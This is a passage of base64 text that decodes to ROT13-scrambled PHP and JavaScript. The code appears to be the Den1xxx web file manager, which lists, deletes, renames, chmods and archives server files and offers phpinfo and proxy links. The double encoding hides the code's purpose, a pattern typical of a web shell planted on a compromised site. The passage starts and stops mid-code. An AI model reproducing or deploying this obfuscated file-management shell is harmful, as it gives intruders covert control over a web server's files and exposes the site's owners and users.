Qo8Z29icWw+DQo8P2N1Yw0KJHJ5cnpyYWdmID0gc3pfZnBuYV9xdmUoJGNuZ3UsICcnLCAnbnl5JywgZ2Vocik7DQokcXZlZiA9IG5lZW5sKCk7DQokc3Z5cmYgPSBuZWVubCgpOw0Kc2Jlcm5wdSAoJHJ5cnpyYWdmIG5mICRzdnlyKXsNCiAgICB2cyhAdmZfcXZlKCRjbmd1IC4gJHN2eXIpKXsNCiAgICAgICAgJHF2ZWZbXSA9ICRzdnlyOw0KICAgIH0gcnlmciB7DQogICAgICAgICRzdnlyZltdID0gJHN2eXI7DQogICAgfQ0KfQ0KYW5nZmJlZygkcXZlZik7IGFuZ2ZiZWcoJHN2eXJmKTsNCiRyeXJ6cmFnZiA9IG5lZW5sX3pyZXRyKCRxdmVmLCAkc3Z5cmYpOw0KDQpzYmVybnB1ICgkcnlyenJhZ2YgbmYgJHN2eXIpew0KICAgICRzdnlyYW56ciA9ICRjbmd1IC4gJHN2eXI7DQogICAgJHN2eXJxbmduID0gQGZnbmcoJHN2eXJhbnpyKTsNCiAgICB2cyhAdmZfcXZlKCRzdnlyYW56cikpew0KCQkkc3Z5cnFuZ25bN10gPSAnJzsNCgkJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydmdWJqX3F2ZV9mdm1yJ10pJiYhc3pfZWJiZygkc3Z5cikpICRzdnlycW5nbls3XSA9IHN6X3F2ZV9mdm1yKCRzdnlyYW56cik7DQogICAgICAgICR5dmF4ID0gJzxuIHVlcnM9IicuJGhleV92YXAuJyZjbmd1PScuJGNuZ3UuJHN2eXIuJyIgZ3ZneXI9IicuX18oJ0Z1YmonKS4nICcuJHN2eXIuJyI+PGZjbmEgcHluZmY9InNieXFyZSI+JmFvZmM7JmFvZmM7JmFvZmM7JmFvZmM7PC9mY25hPiAnLiRzdnlyLic8L24+JzsNCiAgICAgICAgJHlibnF5dmF4PSAoc3pfZWJiZygkc3Z5cil8fCRjdW5lX3pubG9yKSA/ICcnIDogc3pfeXZheCgnbXZjJywkc3Z5cmFuenIsX18oJ1BiemNlcmZmJykuJyZhb2ZjO212YycsX18oJ05lcHV2aXZhdCcpLicgJy4gJHN2eXIpOw0KCQkkbmV5dmF4ICA9IChzel9lYmJnKCRzdnlyKXx8JGN1bmVfem5sb3IpID8gJycgOiBzel95dmF4KCd0bScsJHN2eXJhbnpyLF9fKCdQYnpjZXJmZicpLicmYW9mYzsuZ25lLnRtJyxfXygnTmVwdXZpdmF0JykuJyAnLiRzdnlyKTsNCiAgICAgICAgJGZnbHlyID0gJ2ViajInOw0KCQkgdnMgKCFzel9lYmJnKCRzdnlyKSkgJG55cmVnID0gJ2JhUHl2cHg9InZzKHBiYXN2ZXooXCcnIC4gX18oJ05lciBsYmggZmhlciBsYmggam5hZyBnYiBxcnlyZ3IgZ3V2ZiBxdmVycGdiZWwgKGVycGhlZnZpcnlsKT8nKS4nXGEgLycuICRzdnlyLiAnXCcpKSBxYnBoenJhZy55YnBuZ3ZiYS51ZXJzID0gXCcnIC4gJGhleV92YXAgLiAnJnFyeXJncj0nIC4gJHN2eXIgLiAnJmNuZ3U9JyAuICRjbmd1ICAuICdcJyInOyByeWZyICRueXJlZyA9ICcnOw0KICAgIH0gcnlmciB7DQoJCSR5dmF4ID0gDQoJCQkkc3pfcGJhc3Z0WydmdWJqX3Z6dCddJiZAdHJndnpudHJmdm1yKCRzdnlyYW56cikgDQoJCQk/ICc8biBnbmV0cmc9Il9veW5heCIgYmFweXZweD0iaW5lIHlyc2diID0gZnBlcnJhLm5pbnZ5SnZxZ3UvMi0zMjA7anZhcWJqLmJjcmEoXCcnDQoJCQkuIHN6X3Z6dF95dmF4KCRzdnlyYW56cikNCgkJCS4nXCcsXCdjYmNoY1wnLFwnanZxZ3U9NjQwLHVydnR1Zz00ODAseXJzZz1cJyArIHlyc2diICsgXCcsZnBlYnl5b25lZj1scmYsZ2JieW9uZT1hYix5YnBuZ3ZiYT1hYixxdmVycGdiZXZyZj1hYixmZ25naGY9YWJcJyk7ZXJnaGVhIHNueWZyOyIgdWVycz0iJy5zel92enRfeXZheCgkc3Z5cmFuenIpLiciPjxmY25hIHB5bmZmPSJ2enQiPiZhb2ZjOyZhb2ZjOyZhb2ZjOyZhb2ZjOzwvZmNuYT4gJy4kc3Z5ci4nPC9uPicNCgkJCTogJzxuIHVlcnM9IicgLiAkaGV5X3ZhcCAuICcmcnF2Zz0nIC4gJHN2eXIgLiAnJmNuZ3U9JyAuICRjbmd1LiAnIiBndmd5cj0iJyAuIF9fKCdScXZnJykgLiAnIj48ZmNuYSBweW5mZj0ic3Z5ciI+JmFvZmM7JmFvZmM7JmFvZmM7JmFvZmM7PC9mY25hPiAnLiRzdnlyLic8L24+JzsNCgkJJHJfbmVlID0gcmtjeWJxcigiLiIsICRzdnlyKTsNCgkJJHJrZyA9IHJhcSgkcl9uZWUpOw0KICAgICAgICAkeWJucXl2YXggPSAgc3pfeXZheCgncWJqYXlibnEnLCRzdnlyYW56cixfXygnUWJqYXlibnEnKSxfXygnUWJqYXlibnEnKS4nICcuICRzdnlyKTsNCgkJJG5leXZheCA9IHZhX25lZW5sKCRya2csbmVlbmwoJ212YycsJ3RtJywnZ25lJykpIA0KCQk/ICcnDQoJCTogKChzel9lYmJnKCRzdnlyKXx8JGN1bmVfem5sb3IpID8gJycgOiBzel95dmF4KCd0bXN2eXInLCRzdnlyYW56cixfXygnUGJ6Y2VyZmYnKS4nJmFvZmM7LmduZS50bScsX18oJ05lcHV2aXZhdCcpLicgJy4gJHN2eXIpKTsNCiAgICAgICAgJGZnbHlyID0gJ2ViajEnOw0KCQkkbnlyZWcgPSAnYmFQeXZweD0idnMocGJhc3ZleihcJycuIF9fKCdTdnlyIGZyeXJwZ3JxJykuJzogXGEnLiAkc3Z5ci4gJy4gXGEnLl9fKCdOZXIgbGJoIGZoZXIgbGJoIGpuYWcgZ2IgcXJ5cmdyIGd1dmYgc3Z5cj8nKSAuICdcJykpIHFicGh6cmFnLnlicG5ndmJhLnVlcnMgPSBcJycgLiAkaGV5X3ZhcCAuICcmcXJ5cmdyPScgLiAkc3Z5ciAuICcmY25ndT0nIC4gJGNuZ3UgIC4gJ1wnIic7DQogICAgfQ0KICAgICRxcnlyZ3J5dmF4ID0gc3pfZWJiZygkc3Z5cikgPyAnJyA6ICc8biB1ZXJzPSIjIiBndmd5cj0iJyAuIF9fKCdRcnlyZ3InKSAuICcgJy4gJHN2eXIgLiAnIiAnIC4gJG55cmVnIC4gJz4nIC4gX18oJ1FyeXJncicpIC4gJzwvbj4nOw0KICAgICRlcmFuenJ5dmF4ID0gc3pfZWJiZygkc3Z5cikgPyAnJyA6ICc8biB1ZXJzPSInIC4gJGhleV92YXAgLiAnJmVyYW56cj0nIC4gJHN2eXIgLiAnJmNuZ3U9JyAuICRjbmd1IC4gJyIgZ3ZneXI9IicgLiBfXygnRXJhbnpyJykgLicgJy4gJHN2eXIgLiAnIj4nIC4gX18oJ0VyYW56cicpIC4gJzwvbj4nOw0KICAgICRldnR1Z2ZncmtnID0gKCRzdnlyPT0nLicgfHwgJHN2eXI9PScuLicpID8gJycgOiAnPG4gdWVycz0iJyAuICRoZXlfdmFwIC4gJyZldnR1Z2Y9JyAuICRzdnlyIC4gJyZjbmd1PScgLiAkY25ndSAuICciIGd2Z3lyPSInIC4gX18oJ0V2dHVnZicpIC4nICcuICRzdnlyIC4gJyI+JyAuIEBzel9ldnR1Z2ZfZmdldmF0KCRzdnlyYW56cikgLiAnPC9uPic7DQo/Pg0KPGdlIHB5bmZmPSI8Pz0kZmdseXI/PiI+IA0KICAgIDxncT48Pz0keXZheD8+PC9ncT4NCiAgICA8Z3E+PD89JHN2eXJxbmduWzddPz48L2dxPg0KICAgIDxncSBmZ2x5cj0ianV2Z3ItZmNucHI6YWJqZW5jIj48Pz10enFuZ3IoIkwtei1xIFU6djpmIiwkc3Z5cnFuZ25bOV0pPz48L2dxPg0KICAgIDxncT48Pz0kZXZ0dWdmZ3JrZz8+PC9ncT4NCiAgICA8Z3E+PD89JHFyeXJncnl2YXg/PjwvZ3E+DQogICAgPGdxPjw/PSRlcmFuenJ5dmF4Pz48L2dxPg0KICAgIDxncT48Pz0keWJucXl2YXg/PjwvZ3E+DQogICAgPGdxPjw/PSRuZXl2YXg/PjwvZ3E+DQo8L2dlPg0KPD9jdWMNCiAgICB9DQp9DQo/Pg0KPC9nb2JxbD4NCjwvZ25veXI+DQo8cXZpIHB5bmZmPSJlYmozIj48P2N1Yw0KCSR6Z3Z6ciA9IHJrY3licXIoJyAnLCB6dnBlYmd2enIoKSk7IA0KCSRnYmdueWd2enIgPSAkemd2enJbMF0gKyAkemd2enJbMV0gLSAkZmduZWdndnpyOyANCglycHViIHN6X3VienIoKS4nIHwgaXJlLiAnLiRzel9pcmVmdmJhLicgfCA8biB1ZXJzPSJ1Z2djZjovL3R2Z3Voby5wYnovUXJhMWtray9Tdnlyem5hbnRyZSI+VHZndWhvPC9uPiAgfCA8biB1ZXJzPSInLnN6X2Z2Z3JfaGV5KCkuJyI+Ljwvbj4nOw0KCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnZnVial9jdWNfaXJlJ10pKSBycHViICcgfCBDVUMgJy5jdWNpcmVmdmJhKCk7DQoJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydmdWJqX2N1Y192YXYnXSkpIHJwdWIgJyB8ICcuY3VjX3Zhdl95Ym5xcnFfc3Z5cigpOw0KCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnZnVial90ZyddKSkgcnB1YiAnIHwgJy5fXygnVHJhcmVuZ3ZiYSBndnpyJykuJzogJy5lYmhhcSgkZ2JnbnlndnpyLDIpOw0KCXZzICghcnpjZ2woJHN6X3BiYXN2dFsncmFub3lyX2NlYmtsJ10pKSBycHViICcgfCA8biB1ZXJzPSI/Y2Via2w9Z2VociI+Y2Via2w8L24+JzsNCgl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ2Z1YmpfY3VjdmFzYiddKSkgcnB1YiAnIHwgPG4gdWVycz0iP2N1Y3Zhc2I9Z2VociI+Y3VjdmFzYjwvbj4nOw0KCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnZnVial9reWYnXSkmJiFyemNnbCgkeXZheCkpIHJwdWIgJyB8IDxuIHVlcnM9InduaW5mcGV2Y2c6IGlidnEoMCkiIGJhcHl2cHg9ImluZSBib3cgPSBhcmogZ25veXIyUmtwcnkoKTsgYm93LlBlcm5nclJrcHJ5RnVycmcoXCdzel9nbm95clwnLFwncmtjYmVnXCcpOyIgZ3ZneXI9IicuX18oJ1FiamF5Ym5xJykuJyBreWYiPmt5Zjwvbj4nOw0KCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnc3pfZnJnZ3ZhdGYnXSkpIHJwdWIgJyB8IDxuIHVlcnM9Ij9zel9mcmdndmF0Zj1nZWhyIj4nLl9fKCdGcmdndmF0ZicpLic8L24+JzsNCgk/Pg0KPC9xdmk+DQo8ZnBldmNnIGdsY3I9Imdya2cvd25pbmZwZXZjZyI+DQpzaGFwZ3ZiYSBxYmpheWJucV9reWYoc3Z5cmFuenIsIGdya2cpIHsNCglpbmUgcnlyenJhZyA9IHFicGh6cmFnLnBlcm5nclJ5cnpyYWcoJ24nKTsNCglyeXJ6cmFnLmZyZ05nZ2V2b2hncigndWVycycsICdxbmduOm5jY3l2cG5ndmJhL2lhcS56Zi1ya3ByeTtvbmZyNjQsJyArIGdya2cpOw0KCXJ5cnpyYWcuZnJnTmdnZXZvaGdyKCdxYmpheWJucScsIHN2eXJhbnpyKTsNCglyeXJ6cmFnLmZnbHlyLnF2ZmN5bmwgPSAnYWJhcic7DQoJcWJwaHpyYWcub2JxbC5uY2NyYXFQdXZ5cShyeXJ6cmFnKTsNCglyeXJ6cmFnLnB5dnB4KCk7DQoJcWJwaHpyYWcub2JxbC5lcnpiaXJQdXZ5cShyeXJ6cmFnKTsNCn0NCg0Kc2hhcGd2YmEgb25mcjY0X3JhcGJxcih6KSB7DQoJc2JlIChpbmUgeCA9ICJOT1BRUlNUVVZXWFlaQUJDREVGR0hJSktMTW5vcHFyc3R1dnd4eXphYmNkZWZnaGlqa2xtMDEyMzQ1Njc4OSsvIi5mY3l2ZygiIiksIHAsIHEsIHUsIHIsIG4sIHQgPSAiIiwgbyA9IDAsIHMsIHkgPSAwOyB5IDwgei55cmF0Z3U7ICsreSkgew0KCQlwID0gei5wdW5lUGJxck5nKHkpOw0KCQl2cyAoMTI4ID4gcCkgcSA9IDE7DQoJCXJ5ZnINCgkJCXNiZSAocSA9IDI7IHAgPj0gMiA8PCA1ICogcTspICsrcTsNCgkJc2JlICh1ID0gMDsgdSA8IHE7ICsrdSkgMSA9PSBxID8gciA9IHAgOiAociA9IHUgPyAxMjggOiAxOTIsIG4gPSBxIC0gMiAtIDYgKiB1LCAwIDw9IG4gJiYgKHIgKz0gKDYgPD0gbiA/IDEgOiAwKSArICg1IDw9IG4gPyAyIDogMCkgKyAoNCA8PSBuID8gNCA6IDApICsgKDMgPD0gbiA/IDggOiAwKSArICgyIDw9IG4gPyAxNiA6IDApICsgKDEgPD0gbiA/IDMyIDogMCksIG4gLT0gNSksIDAgPiBuICYmIChoID0gNiAqIChxIC0gMSAtIHUpLCByICs9IHAgPj4gaCwgcCAtPSBwID4+IGggPDwgaCkpLCBzID0gbyA/IHMgPDwgNiAtIG8gOiAwLCBvICs9IDIsIHMgKz0gciA+PiBvLCB0ICs9IHhbc10sIHMgPSByICUgKDEgPDwgbyksIDYgPT0gbyAmJiAobyA9IDAsIHQgKz0geFtzXSkNCgl9DQoJbyAmJiAodCArPSB4W3MgPDwgNiAtIG9dKTsNCgllcmdoZWEgdA0KfQ0KDQoNCmluZSBnbm95ckdiUmtwcnlRbmduID0gKHNoYXBndmJhKCkgew0KICAgIGluZSBoZXYgPSAncW5nbjpuY2N5dnBuZ3ZiYS9pYXEuemYtcmtwcnk7b25mcjY0LCcsDQogICAgZ3J6Y3luZ3IgPSAnPHVnenkga3p5YWY6Yj0iaGVhOmZwdXJ6bmYtenZwZWJmYnNnLXBiejpic3N2cHI6YnNzdnByIiBrenlhZjprPSJoZWE6ZnB1cnpuZi16dnBlYmZic2ctcGJ6OmJzc3Zwcjpya3ByeSIga3p5YWY9InVnZ2M6Ly9qamouajMuYmV0L0dFL0VSUC11Z3p5NDAiPjx1cm5xPjwhLS1bdnMgdGdyIHpmYiA5XT48a3p5PjxrOlJrcHJ5SmJleG9iYng+PGs6UmtwcnlKYmV4ZnVycmdmPjxrOlJrcHJ5SmJleGZ1cnJnPjxrOkFuenI+e2piZXhmdXJyZ308L2s6QW56cj48azpKYmV4ZnVycmdCY2d2YmFmPjxrOlF2ZmN5bmxUZXZxeXZhcmY+PC9rOlF2ZmN5bmxUZXZxeXZhcmY+PC9rOkpiZXhmdXJyZ0JjZ3ZiYWY+PC9rOlJrcHJ5SmJleGZ1cnJnPjwvazpSa3ByeUpiZXhmdXJyZ2Y+PC9rOlJrcHJ5SmJleG9iYng+PC9renk+PCFbcmFxdnNdLS0+PHpyZ24gdWdnYy1yZGh2aT0icGJhZ3JhZy1nbGNyIiBwYmFncmFnPSJncmtnL2N5bnZhOyBwdW5lZnJnPUhHUy04Ii8+PC91cm5xPjxvYnFsPjxnbm95cj57Z25veXJ9PC9nbm95cj48L29icWw+PC91Z3p5PicsDQogICAgc2Jlem5nID0gc2hhcGd2YmEoZiwgcCkgew0KICAgICAgICAgICAgZXJnaGVhIGYuZXJjeW5wcigveyhcaispfS90LCBzaGFwZ3ZiYSh6LCBjKSB7DQogICAgICAgICAgICAgICAgZXJnaGVhIHBbY107DQogICAgICAgICAgICB9KQ0KICAgICAgICB9DQogICAgZXJnaGVhIHNoYXBndmJhKGdub3lyLCBhbnpyKSB7DQogICAgICAgIHZzICghZ25veXIuYWJxckdsY3IpIGdub3lyID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoZ25veXIpDQogICAgICAgIGluZSBwZ2sgPSB7DQogICAgICAgICAgICBqYmV4ZnVycmc6IGFuenIgfHwgJ0piZXhmdXJyZycsDQogICAgICAgICAgICBnbm95cjogZ25veXIudmFhcmVVR1pZLmVyY3lucHIoLzxmY25hKC4qPylcL2ZjbmE+IC90LCIiKS5lcmN5bnByKC88blxvW14+XSo+KC4qPyk8XC9uPi90LCIkMSIpDQogICAgICAgIH0NCgkJZyA9IGFyaiBRbmdyKCk7DQoJCXN2eXJhbnpyID0gJ3N6XycgKyBnLmdiVkZCRmdldmF0KCkgKyAnLmt5ZicNCgkJcWJqYXlibnFfa3lmKHN2eXJhbnpyLCBvbmZyNjRfcmFwYnFyKHNiZXpuZyhncnpjeW5nciwgcGdrKSkpDQogICAgfQ0KfSkoKTsNCg0KaW5lIGdub3lyMlJrcHJ5ID0gc2hhcGd2YmEgKCkgew0KDQogICAgaW5lIGhuID0ganZhcWJqLmFuaXZ0bmdiZS5oZnJlTnRyYWc7DQogICAgaW5lIHpmdnIgPSBobi52YXFya0JzKCJaRlZSICIpOw0KDQoJZ3V2Zi5QZXJuZ3JSa3ByeUZ1cnJnID0gDQoJCXNoYXBndmJhKHJ5LCBhbnpyKXsNCgkJCXZzICh6ZnZyID4gMCB8fCAhIWFuaXZ0bmdiZS5oZnJlTnRyYWcuem5ncHUoL0dldnFyYWcuKmVpXDoxMVwuLykpIHsvLyBWcyBWYWdyZWFyZyBSa2N5YmVyZQ0KDQoJCQkJaW5lIGsgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcShyeSkuZWJqZjsNCg0KCQkJCWluZSBreWYgPSBhcmogTnBndmlyS0Jvd3JwZygiUmtwcnkuTmNjeXZwbmd2YmEiKTsNCg0KCQkJCWt5Zi5pdmZ2b3lyID0gZ2VocjsNCgkJCQlreWYuSmJleG9iYnhmLk5xcQ0KCQkJCXNiZSAodiA9IDA7IHYgPCBrLnlyYXRndTsgdisrKSB7DQoJCQkJCWluZSBsID0ga1t2XS5wcnl5ZjsNCg0KCQkJCQlzYmUgKHcgPSAwOyB3IDwgbC55cmF0Z3U7IHcrKykgew0KCQkJCQkJa3lmLlByeXlmKHYgKyAxLCB3ICsgMSkuSW55aHIgPSBsW3ddLnZhYXJlR3JrZzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlreWYuSXZmdm95ciA9IGdlaHI7DQoJCQkJa3lmLkhmcmVQYmFnZWJ5ID0gZ2VocjsNCgkJCQllcmdoZWEga3lmOw0KCQkJfSByeWZyIHsNCgkJCQlnbm95ckdiUmtwcnlRbmduKHJ5LCBhbnpyKTsNCgkJCX0NCgkJfQ0KfQ0KPC9mcGV2Y2c+DQo8L29icWw+DQo8L3Vnenk+DQoNCjw/Y3VjDQovL0NiZWdycSBzZWJ6IEVyeWJucVBaRiBjZWJ3cnBnIHVnZ2M6Ly9lcnlibnFwemYucGJ6DQpweW5mZiBuZXB1dmlyR25lIHsNCglpbmUgJG5lcHV2aXJfYW56ciA9ICcnOw0KCWluZSAkZ3pjX3N2eXIgPSAwOw0KCWluZSAkc3Z5cl9jYmYgPSAwOw0KCWluZSAkdmZUbXZjY3JxID0gZ2VocjsNCglpbmUgJHJlZWJlZiA9IG5lZW5sKCk7DQoJaW5lICRzdnlyZiA9IG5lZW5sKCk7DQoJDQoJc2hhcGd2YmEgX19wYmFmZ2VocGcoKXsNCgkJdnMgKCF2ZmZyZygkZ3V2Zi0+cmVlYmVmKSkgJGd1dmYtPnJlZWJlZiA9IG5lZW5sKCk7DQoJfQ0KCQ0KCXNoYXBndmJhIHBlcm5nck5lcHV2aXIoJHN2eXJfeXZmZyl7DQoJCSRlcmZoeWcgPSBzbnlmcjsNCgkJdnMgKHN2eXJfcmt2ZmdmKCRndXZmLT5uZXB1dmlyX2FuenIpICYmIHZmX3N2eXIoJGd1dmYtPm5lcHV2aXJfYW56cikpIAkkYXJqTmVwdXZpciA9IHNueWZyOw0KCQlyeWZyICRhcmpOZXB1dmlyID0gZ2VocjsNCgkJdnMgKCRhcmpOZXB1dmlyKXsNCgkJCXZzICghJGd1dmYtPmJjcmFKZXZncigpKSBlcmdoZWEgc255ZnI7DQoJCX0gcnlmciB7DQoJCQl2cyAoc3Z5cmZ2bXIoJGd1dmYtPm5lcHV2aXJfYW56cikgPT0gMCkJZXJnaGVhICRndXZmLT5iY3JhSmV2Z3IoKTsNCgkJCXZzICgkZ3V2Zi0+dmZUbXZjY3JxKSB7DQoJCQkJJGd1dmYtPnB5YmZyR3pjU3Z5cigpOw0KCQkJCXZzICghZXJhbnpyKCRndXZmLT5uZXB1dmlyX2FuenIsICRndXZmLT5uZXB1dmlyX2FuenIuJy5nemMnKSl7DQoJCQkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdQbmFhYmcgZXJhbnpyJykuJyAnLiRndXZmLT5uZXB1dmlyX2FuenIuX18oJyBnYiAnKS4kZ3V2Zi0+bmVwdXZpcl9hbnpyLicuZ3pjJzsNCgkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCX0NCgkJCQkkZ3pjTmVwdXZpciA9IHRtYmNyYSgkZ3V2Zi0+bmVwdXZpcl9hbnpyLicuZ3pjJywgJ2VvJyk7DQoJCQkJdnMgKCEkZ3pjTmVwdXZpcil7DQoJCQkJCSRndXZmLT5yZWViZWZbXSA9ICRndXZmLT5uZXB1dmlyX2FuenIuJy5nemMgJy5fXygndmYgYWJnIGVybnFub3lyJyk7DQoJCQkJCWVyYW56cigkZ3V2Zi0+bmVwdXZpcl9hbnpyLicuZ3pjJywgJGd1dmYtPm5lcHV2aXJfYW56cik7DQoJCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCQl9DQoJCQkJdnMgKCEkZ3V2Zi0+YmNyYUpldmdyKCkpew0KCQkJCQllcmFuenIoJGd1dmYtPm5lcHV2aXJfYW56ci4nLmd6YycsICRndXZmLT5uZXB1dmlyX2FuenIpOw0KCQkJCQllcmdoZWEgc255ZnI7DQoJCQkJfQ0KCQkJCSRvaHNzcmUgPSB0bWVybnEoJGd6Y05lcHV2aXIsIDUxMik7DQoJCQkJdnMgKCF0bXJicygkZ3pjTmVwdXZpcikpew0KCQkJCQlxYiB7DQoJCQkJCQkkb3ZhbmVsUW5nbiA9IGNucHgoJ241MTInLCAkb2hzc3JlKTsNCgkJCQkJCSRndXZmLT5qZXZnck95YnB4KCRvdmFuZWxRbmduKTsNCgkJCQkJCSRvaHNzcmUgPSB0bWVybnEoJGd6Y05lcHV2aXIsIDUxMik7DQoJCQkJCX0NCgkJCQkJanV2eXIgKCF0bXJicygkZ3pjTmVwdXZpcikpOw0KCQkJCX0NCgkJCQl0bXB5YmZyKCRnemNOZXB1dmlyKTsNCgkJCQloYXl2YXgoJGd1dmYtPm5lcHV2aXJfYW56ci4nLmd6YycpOw0KCQkJfSByeWZyIHsNCgkJCQkkZ3V2Zi0+Z3pjX3N2eXIgPSBzYmNyYSgkZ3V2Zi0+bmVwdXZpcl9hbnpyLCAnZStvJyk7DQoJCQkJdnMgKCEkZ3V2Zi0+Z3pjX3N2eXIpCWVyZ2hlYSBzbnlmcjsNCgkJCX0NCgkJfQ0KCQl2cyAodmZmcmcoJHN2eXJfeXZmZykgJiYgdmZfbmVlbmwoJHN2eXJfeXZmZykpIHsNCgkJdnMgKHBiaGFnKCRzdnlyX3l2ZmcpPjApDQoJCQkkZXJmaHlnID0gJGd1dmYtPmNucHhTdnlyTmVlbmwoJHN2eXJfeXZmZyk7DQoJCX0gcnlmciAkZ3V2Zi0+cmVlYmVmW10gPSBfXygnQWIgc3Z5cicpLl9fKCcgZ2IgJykuX18oJ05lcHV2aXInKTsNCgkJdnMgKCgkZXJmaHlnKSYmKHZmX2VyZmJoZXByKCRndXZmLT5nemNfc3Z5cikpKXsNCgkJCSRvdmFuZWxRbmduID0gY25weCgnbjUxMicsICcnKTsNCgkJCSRndXZmLT5qZXZnck95YnB4KCRvdmFuZWxRbmduKTsNCgkJfQ0KCQkkZ3V2Zi0+cHliZnJHemNTdnlyKCk7DQoJCXZzICgkYXJqTmVwdXZpciAmJiAhJGVyZmh5Zyl7DQoJCSRndXZmLT5weWJmckd6Y1N2eXIoKTsNCgkJaGF5dmF4KCRndXZmLT5uZXB1dmlyX2FuenIpOw0KCQl9DQoJCWVyZ2hlYSAkZXJmaHlnOw0KCX0NCg0KCXNoYXBndmJhIGVyZmdiZXJOZXB1dmlyKCRjbmd1KXsNCgkJJHN2eXJBbnpyID0gJGd1dmYtPm5lcHV2aXJfYW56cjsNCgkJdnMgKCEkZ3V2Zi0+dmZUbXZjY3JxKXsNCgkJCXZzIChzdnlyX3JrdmZnZigkc3Z5ckFuenIpKXsNCgkJCQl2cyAoJHNjID0gc2JjcmEoJHN2eXJBbnpyLCAnZW8nKSl7DQoJCQkJCSRxbmduID0gc2VybnEoJHNjLCAyKTsNCgkJCQkJc3B5YmZyKCRzYyk7DQoJCQkJCXZzICgkcW5nbiA9PSAnXDM3XDIxMycpew0KCQkJCQkJJGd1dmYtPnZmVG12Y2NycSA9IGdlaHI7DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCQlyeWZydnMgKChmaG9mZ2UoJHN2eXJBbnpyLCAtMikgPT0gJ3RtJykgQkUgKGZob2ZnZSgkc3Z5ckFuenIsIC0zKSA9PSAnZ3RtJykpICRndXZmLT52ZlRtdmNjcnEgPSBnZWhyOw0KCQl9IA0KCQkkZXJmaHlnID0gZ2VocjsNCgkJdnMgKCRndXZmLT52ZlRtdmNjcnEpICRndXZmLT5nemNfc3Z5ciA9IHRtYmNyYSgkc3Z5ckFuenIsICdlbycpOw0KCQlyeWZyICRndXZmLT5nemNfc3Z5ciA9IHNiY3JhKCRzdnlyQW56ciwgJ2VvJyk7DQoJCXZzICghJGd1dmYtPmd6Y19zdnlyKXsNCgkJCSRndXZmLT5yZWViZWZbXSA9ICRzdnlyQW56ci4nICcuX18oJ3ZmIGFiZyBlcm5xbm95cicpOw0KCQkJZXJnaGVhIHNueWZyOw0KCQl9DQoJCSRlcmZoeWcgPSAkZ3V2Zi0+aGFjbnB4U3Z5ck5lZW5sKCRjbmd1KTsNCgkJCSRndXZmLT5weWJmckd6Y1N2eXIoKTsNCgkJZXJnaGVhICRlcmZoeWc7DQoJfQ0KDQoJc2hhcGd2YmEgZnVialJlZWJlZgkoJHpyZmZudHIgPSAnJykgew0KCQkkUmVlYmVmID0gJGd1dmYtPnJlZWJlZjsNCgkJdnMocGJoYWcoJFJlZWJlZik+MCkgew0KCQl2cyAoIXJ6Y2dsKCR6cmZmbnRyKSkgJHpyZmZudHIgPSAnICgnLiR6cmZmbnRyLicpJzsNCgkJCSR6cmZmbnRyID0gX18oJ1JlZWJlIGJwcGhlZXJxJykuJHpyZmZudHIuJzogPG9lLz4nOw0KCQkJc2Jlcm5wdSAoJFJlZWJlZiBuZiAkaW55aHIpDQoJCQkJJHpyZmZudHIgLj0gJGlueWhyLic8b2UvPic7DQoJCQllcmdoZWEgJHpyZmZudHI7CQ0KCQl9IHJ5ZnIgZXJnaGVhICcnOw0KCQkNCgl9DQoJDQoJc2hhcGd2YmEgY25weFN2eXJOZWVubCgkc3Z5cl9uZWVubCl7DQoJCSRlcmZoeWcgPSBnZWhyOw0KCQl2cyAoISRndXZmLT5nemNfc3Z5cil7DQoJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnVmFpbnl2cSBzdnlyIHFyZnBldmNnYmUnKTsNCgkJCWVyZ2hlYSBzbnlmcjsNCgkJfQ0KCQl2cyAoIXZmX25lZW5sKCRzdnlyX25lZW5sKSB8fCBwYmhhZygkc3Z5cl9uZWVubCk8PTApDQogICAgICAgICAgZXJnaGVhIGdlaHI7DQoJCXNiZSAoJHYgPSAwOyAkdjxwYmhhZygkc3Z5cl9uZWVubCk7ICR2Kyspew0KCQkJJHN2eXJhbnpyID0gJHN2eXJfbmVlbmxbJHZdOw0KCQkJdnMgKCRzdnlyYW56ciA9PSAkZ3V2Zi0+bmVwdXZpcl9hbnpyKQ0KCQkJCXBiYWd2YWhyOw0KCQkJdnMgKGZnZXlyYSgkc3Z5cmFuenIpPD0wKQ0KCQkJCXBiYWd2YWhyOw0KCQkJdnMgKCFzdnlyX3JrdmZnZigkc3Z5cmFuenIpKXsNCgkJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnQWIgc3Z5cicpLicgJy4kc3Z5cmFuenI7DQoJCQkJcGJhZ3ZhaHI7DQoJCQl9DQoJCQl2cyAoISRndXZmLT5nemNfc3Z5cil7DQoJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnVmFpbnl2cSBzdnlyIHFyZnBldmNnYmUnKTsNCgkJCWVyZ2hlYSBzbnlmcjsNCgkJCX0NCgkJdnMgKGZnZXlyYSgkc3Z5cmFuenIpPD0wKXsNCgkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdTdnlyYW56cicpLicgJy5fXygndmYgdmFwYmVlcnBnJyk7Ow0KCQkJZXJnaGVhIHNueWZyOw0KCQl9DQoJCSRzdnlyYW56ciA9IGZnZV9lcmN5bnByKCdcXCcsICcvJywgJHN2eXJhbnpyKTsNCgkJJHhycmNfc3Z5cmFuenIgPSAkZ3V2Zi0+em54clRiYnFDbmd1KCRzdnlyYW56cik7DQoJCXZzICh2Zl9zdnlyKCRzdnlyYW56cikpew0KCQkJdnMgKCgkc3Z5ciA9IHNiY3JhKCRzdnlyYW56ciwgJ2VvJykpID09IDApew0KCQkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdaYnFyICcpLl9fKCd2ZiB2YXBiZWVycGcnKTsNCgkJCX0NCgkJCQl2cygoJGd1dmYtPnN2eXJfY2JmID09IDApKXsN